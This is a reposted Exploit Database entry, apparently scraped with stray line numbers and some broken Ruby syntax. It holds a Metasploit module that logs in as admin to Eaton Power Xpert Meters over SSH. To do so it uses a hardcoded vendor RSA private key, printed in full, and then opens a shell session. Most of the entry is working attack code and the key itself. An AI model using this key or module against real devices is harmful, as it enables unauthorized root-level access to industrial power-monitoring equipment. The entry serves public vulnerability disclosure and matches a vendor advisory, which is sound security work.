Eaton Xpert Meter 13.4.0.10 – SSH Private Key Disclosure

Exploit Database
113 阅读

作者： BrianWGray

日期： 2018-08-29
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/45283/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

# Exploit Title: Eaton Xpert Meter 13.4.0.10 - SSH Private Key Disclosure

# Date: 2018-07-16

# WebPage: https://CTRLu.net/

# Vendor Homepage: http://www.eaton.com/

# Vendor Advisory: http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf

# Software Link: http://www.eaton.com/Eaton/ProductsServices/Electrical/ProductsandServices/PowerQualityandMonitoring/PowerandEnergyMeters/PowerXpertMeter400060008000/index.htm#tabs-2

# Version: Firmware <= 12.x and <= 13.3.x.x and below more versions may be impacted

# Recomended to update to Version 13.4.0.10 or above

# Tested on: Firmware 12.1.9.1 and 13.3.2.10

# CVE : N/A

# XXX: This shouldn't be necessary but is now

require 'net/ssh/command_stream'

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::SSH

include Msf::Auxiliary::Scanner

include Msf::Auxiliary::CommandShell

include Msf::Auxiliary::Report

def initialize(info = {})

super(update_info(info,

'Name' => 'Eaton Xpert Meter SSH Private Key Exposure Scanner',

'Description'=> %q{

Eaton Power Xpert Meters are used across industries for energy management,

monitoring circuit loading, and identifying power quality problems.

Meters running firmware 12.x.x.x or below version 13.3.x.x and below ship with

a public/private key pair on Power Xpert Meter hardware that allows

passwordless authentication to any other affected Power Xpert Meter.

The vendor recommends updating to Version 13.4.0.10 or above. As the key is

easily retrievable, an attacker can use it to gain unauthorized remote

access as uid0

'Author' => [

'BrianWGray'

'References' => [

['URL', 'http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf'],

['URL', 'https://www.ctrlu.net/vuln/0006.html']

'DisclosureDate' => 'Jul 18 2018',

'License'=> MSF_LICENSE

))

register_options([

Opt::RPORT(22)

])

register_advanced_options([

OptBool.new('SSH_DEBUG',[false, 'SSH debugging', false]),

OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])

])

end

def run_host(ip)

factory = ssh_socket_factory

ssh_opts = {

auth_methods:['publickey'],

port:rport,

key_data:[ key_data ],

hmac:['hmac-sha1'],

encryption:['aes128-cbc'],

kex: ['diffie-hellman-group1-sha1'],

host_key:['ssh-rsa'],

use_agent: false,

config:false,

proxy: factory

}

ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin

ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do

Net::SSH.start(ip, 'admin', ssh_opts)

end

rescue Net::SSH::Exception => e

vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")

return

end

return unless ssh

print_good("#{ip}:#{rport} - Logged in as admin")

version = ssh.transport.server_version.version

report_vuln(

host: ip,

name: self.name,

refs: self.references,

info: version

)

shell = Net::SSH::CommandStream.new(ssh)

return unless shell

info = "Eaton Xpert Meter SSH Backdoor (#{version})"

ds_merge = {

'USERNAME' => 'admin'

}

start_session(self, info, ds_merge, false, shell.lsock)

# XXX: Ruby segfaults if we don't remove the SSH socket

remove_socket(ssh.transport.socket)

end

def rport

datastore['RPORT']

end

def key_data

<<EOF

-----BEGIN RSA PRIVATE KEY-----

MIICWwIBAAKBgQCfwugh3Y3mLbxw0q4RZZ5rfK3Qj8t1P81E6sXjhZl7C3FyH4Mj

C15CEzWovoQpRKrPdDaB5fVyuk6w2fKHrvHLmU2jTzq79B7A4JJEBQatAJeoVDgl

TyfL+q6BYAtAeNsho8eP/fMwrT2vhylNJ4BTsJbmdDJMoaaHu/0IB9Z9ywIBIwKB

gQCEX6plM+qaJeVHif3xKFAP6vZq+s0mopQjKO0bmpUczveZEsu983n8O81f7lA/

c2j1CITvSYI6fRyhKZ0RVnCRcaQ8h/grzZNdyyD3FcqDNKO7Xf+bvYySrQXhLeQP

I3jXGQPfBZUicGPcJclA98SBdBI1SReAUls1ZdzDwA3T8wJBAM6j1N3tYhdqal2W

gA1/WSQrFxTt28mFeUC8enGvKLRm1Nnxk/np9qy2L58BvZzCGyHAsZyVZ7Sqtfb3

YzqKMzUCQQDF7GrnrxNXWsIAli/UZscqIovN2ABRa2y8/JYPQAV/KRQ44vet2aaB

trQBK9czk0QLlBfXrKsofBW81+Swiwz/AkEAh8q/FX68zY8Ssod4uGmg+oK3ZYZd

O0kVKop8WVXY65QIN3LdlZm/W42qQ+szdaQgdUQc8d6F+mGNhQj4EIaz7wJAYCJf

z54t9zq2AEjyqP64gi4JY/szWr8mL+hmJKoRTGRo6G49yXhYMGAOSbY1U5CsBZ+z

zyf7XM6ONycIrYVeFQJABB8eqx/R/6Zwi8mVKMAF8lZXZB2dB+UOU12OGgvAHCKh

7izYQtGEgPDbklbvEZ31F7H2o337V6FkXQMFyQQdHA==

-----END RSA PRIVATE KEY-----

EOF

end